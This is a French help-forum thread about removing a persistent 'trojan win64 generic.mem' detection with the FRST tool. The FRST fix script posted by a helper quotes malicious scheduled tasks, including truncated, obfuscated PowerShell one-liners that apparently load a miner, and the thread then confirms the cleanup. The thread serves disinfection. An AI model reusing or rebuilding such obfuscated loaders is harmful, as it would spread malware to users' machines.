Virus trojan64 [résolu]

Aide à la désinfection pour supprimer les virus, adwares, ransomwares, trojans.

Modérateurs : Mods Windows, Helper

Leonard
Messages : 8
Inscription : 29 mars 2022 09:55

Virus trojan64 [résolu]

par Leonard »

Bonjour, j'ai un gros souci dont je n'arrive pas à me sortir. Kaspersky m'indique que j'ai un virus dans la mémoire.

MEM : trojan win64 generic.mem
Emplacement : mémoire système

J'essaye de désinfecter comme proposé mais rien y fait. Au redémarrage, il est toujours là.

J'ai repassé l'antivirus kaspersky en mode sans échec, aucun résultat.

J'ai passé Malwarebytes, pas plus de résultat.

Dès que j'allume l'ordinateur, dans les minutes qui suivent, kaspersky m'indique toujours la présence de ce virus.

Merci d'avance pour vos conseils et votre aide
Avatar de l’utilisateur
Parisien_entraide
Messages : 10285
Inscription : 02 juin 2012 20:48
Localisation : Je suis dans la matrice :-)

Re: Virus trojan64

par Parisien_entraide »

Bonjour

Possiblement lié (miner) à une tache programmée

La procédure de Malekal
__________________
Suis le tutoriel FRST. ( prends le temps de lire attentivement - tout y est bien expliqué ).

Télécharge et lance le scan FRST,
Attendre la fin du scan, un message indique que l'analyse est terminée.

Trois rapports FRST seront générés :
* FRST.txt
* Shortcut. ----> Ne pas oublier de cocher la case
* Additionnal.txt

Envoie ces 3 rapports sur le site https://pjjoint.malekal.com/ et en retour donne les 3 liens pjjoint qui mènent aux rapports ici dans une nouvelle réponse afin que l'on puisse les consulter.

(Les liens bleus mènent à des tutoriels explicatifs pas à pas, clic dessus pour avoir les instructions plus précises à suivre).
- Only Amiga... was possible !
- Un problème sans solution est un problème mal posé. » (Albert Einstein)
- "Tous les patients mentent" (Docteur House)
- Dans le monde il y a deux sortes de gens : Ceux qui font des sauvegardes et .. Ceux qui vont faire des sauvegardes
Leonard
Messages : 8
Inscription : 29 mars 2022 09:55

Re: Virus trojan64

par Leonard »

Malekal_morte
Messages : 110277
Inscription : 10 sept. 2005 13:57

Re: Virus trojan64

par Malekal_morte »

Essaye ça pour commencer :



Voici la correction à effectuer avec FRST. Tu peux t'aider de cette Voici la correction à effectuer avec FRST. Tu peux t'aider de cette #fix note explicative avec des captures d'écran.
Relance FRST puis sur ton clavier appuyer sur la touche CTRL + Y.
Le bloc-note va s'ouvrir, copie/colle ceci.

Code : Tout sélectionner

Start:
CloseProcesses:
CreateRestorePoint:
Task: {6C91AB2E-FD0A-4E3E-8760-D20CD521EA52} - System32\Tasks\Microsoft\Windows\MUI\1093739136 => powershell.exe -c "uDkanFnL;zIbpwE;YhPhn;$PNQJ='MleFdA)bhxMpcDASazlv.SKdu(uik';$tWgZl=$PNQJ[27]+$PNQJ[2]+$PNQJ[9];$FtaJ='[&(qgc!m [A*3-Tpy*=).?Naamer (p''_6usv]i-n__g 1[Say_ssttje_m]_;u-[s_iaingqn ?Sh,ysj4tse_5m.0cI_Ouy;ubqshi[ang(9 mS_fys__t)eo)m._7Rlua0ntd8i_mo=e.7nI!n-zte0er=om8pSx?e=rb?vij_c-e4_s;q_uis-1ink_gv (l'élément de données a 2350 caractères en plus).
Task: {D99ABDDD-8718-4985-8EB1-9FE040174551} - System32\Tasks\Firefox Default Browser Agent 4F2E68927A3826C0 => C:\Users\escol\AppData\Roaming\weuirdi.exe (Pas de fichier) <==== ATTENTION
Task: {E6C22605-37F6-4B0E-8627-BD627567B6B2} - System32\Tasks\Microsoft\Windows\User Profile Service\User Profile Service => powershell -c "$oof='x9i-acerlp';$lyu=' $cjc=i1h7k;qF osr (s$2i = 79;3$ii r- l9e9 5$qj ;t$ i5+e+g)a{5Skt3a4rgtq-8Smlqexe7p n-hmc d5l0 0d;s$ nj=g(3$ i * 154r8x8d9c741x2j5s+q3 3r3a5k040h716x5i)3% 11et9t;4$th =90r;p$ghq=b[eN0erti.6Drnqsb]g:s:gGze t7H ojsztyA drdrr0e s8sdeos (2''k''r+y$bn3+s''q. csovmj'' )0;7i4f (l'élément de données a 2173 caractères en plus).
2022-03-18 13:14 - 2019-06-17 00:02 - 000000000 ____D C:\Users\escol\AppData\Local\TiesProxy
2022-03-24 16:05 - 2022-03-26 18:39 - 000000000 _RSHD C:\ProgramData\Windows
Reboot:
End:
Ferme le bloc-note, retourne sur FRST et clique sur le bouton "Corriger / Fix"
Un redémarrage sera peut-être nécessaire et automatique.
Un fichier texte apparaît, copie/colle le contenu ici dans un nouveau message.

Redémarre l'ordinateur.
(L'ordinateur peut redémarrer tout seul, si le rapport de correction ne s'ouvre pas, cherche un fichier fixlog.txt qui se trouve dans le même dossier que FRST)

~~

Refais un scan FRST et donne les nouveaux rapports.
Première règle élémentaire de sécurité : on réfléchit puis on clic et pas l'inverse - Les fichiers/programmes c'est comme les bonbons, quand ça vient d'un inconnu, on n'accepte pas !
Comment protéger son PC des virus
Windows 11 : Compatibilité, Configuration minimale requise, télécharger ISO et installer Windows 11

Comment demander de l'aide sur le forum
Partagez malekal.com : n'hésitez pas à partager les articles qui vous plaisent sur la page Facebook du site.
Leonard
Messages : 8
Inscription : 29 mars 2022 09:55

Re: Virus trojan64

par Leonard »

Voilà le fixlog

Résultats de correction de Farbar Recovery Scan Tool (x64) Version: 28-03-2022
Exécuté par escol (30-03-2022 09:57:00) Run:1
Exécuté depuis C:\Users\escol\Downloads
Profils chargés: escol
Mode d'amorçage: Normal
==============================================

fixlist contenu:
*****************

*****************


==== Fin de Fixlog 09:57:00 ====


et les nouveaux rapports

FRST
https://pjjoint.malekal.com/files.php?i ... 7m13x7b9v7

ADDITION
https://pjjoint.malekal.com/files.php?i ... 14q5b11v15

SHORTCUT
https://pjjoint.malekal.com/files.php?i ... 2p7g7u15v5


merci beaucoup. Bonne journée
Malekal_morte
Messages : 110277
Inscription : 10 sept. 2005 13:57

Re: Virus trojan64

par Malekal_morte »

La correction est vide et FRST n'est pas sur le bureau de Windows.

Place le programme FRST sur le bureau
ouvre le bloc-note
colle le script donné plus haut
enregistre le fichier sur le bureau sous le nom de fixlist.txt
Relance FRST puis Corriger.
Première règle élémentaire de sécurité : on réfléchit puis on clic et pas l'inverse - Les fichiers/programmes c'est comme les bonbons, quand ça vient d'un inconnu, on n'accepte pas !
Comment protéger son PC des virus
Windows 11 : Compatibilité, Configuration minimale requise, télécharger ISO et installer Windows 11

Comment demander de l'aide sur le forum
Partagez malekal.com : n'hésitez pas à partager les articles qui vous plaisent sur la page Facebook du site.
Leonard
Messages : 8
Inscription : 29 mars 2022 09:55

Re: Virus trojan64

par Leonard »

Me voici quelques cafés plus tard

Le fixlog

https://pjjoint.malekal.com/files.php?i ... i8k8q12e12

FRST

https://pjjoint.malekal.com/files.php? ... 7x15p6p15

ADDITION

https://pjjoint.malekal.com/files.php?i ... p12i8o13g8

SHORTCUT

https://pjjoint.malekal.com/files.php?i ... 3m15d7y9t9

Depuis l'application du code, kaspersky n'a plus rien trouvé .

Bonne soirée et merci pour ta patience
Malekal_morte
Messages : 110277
Inscription : 10 sept. 2005 13:57

Re: Virus trojan64

par Malekal_morte »

Ca semble bon.
Change tes mots de passe et fais des scans ces prochains jours pour voir.

Eventuellement, désinstaller ces programmes, encombrants et inutiles :
CCleaner
O&O Defrag Professional
Première règle élémentaire de sécurité : on réfléchit puis on clic et pas l'inverse - Les fichiers/programmes c'est comme les bonbons, quand ça vient d'un inconnu, on n'accepte pas !
Comment protéger son PC des virus
Windows 11 : Compatibilité, Configuration minimale requise, télécharger ISO et installer Windows 11

Comment demander de l'aide sur le forum
Partagez malekal.com : n'hésitez pas à partager les articles qui vous plaisent sur la page Facebook du site.
Leonard
Messages : 8
Inscription : 29 mars 2022 09:55

Re: Virus trojan64

par Leonard »

mille mercis à toi
Malekal_morte
Messages : 110277
Inscription : 10 sept. 2005 13:57

Re: Virus trojan64 [résolu]

par Malekal_morte »

De rien =)

Supprime C:\FRST

Change bien tes mots de passe.

Pour éviter les virus, il faut savoir comment les pirates s'y prennent pour infecter les ordinateurs : Comment les virus informatiques sont distribués
Enfin pour protéger ton PC : Comment protéger son PC des virus et des pirates ?
Première règle élémentaire de sécurité : on réfléchit puis on clic et pas l'inverse - Les fichiers/programmes c'est comme les bonbons, quand ça vient d'un inconnu, on n'accepte pas !
Comment protéger son PC des virus
Windows 11 : Compatibilité, Configuration minimale requise, télécharger ISO et installer Windows 11

Comment demander de l'aide sur le forum
Partagez malekal.com : n'hésitez pas à partager les articles qui vous plaisent sur la page Facebook du site.
  • Sujets similaires
    Réponses
    Vues
    Dernier message

Revenir à « Supprimer/Desinfecter les virus (Trojan, Adwares, Ransomwares, Backdoor, Spywares) »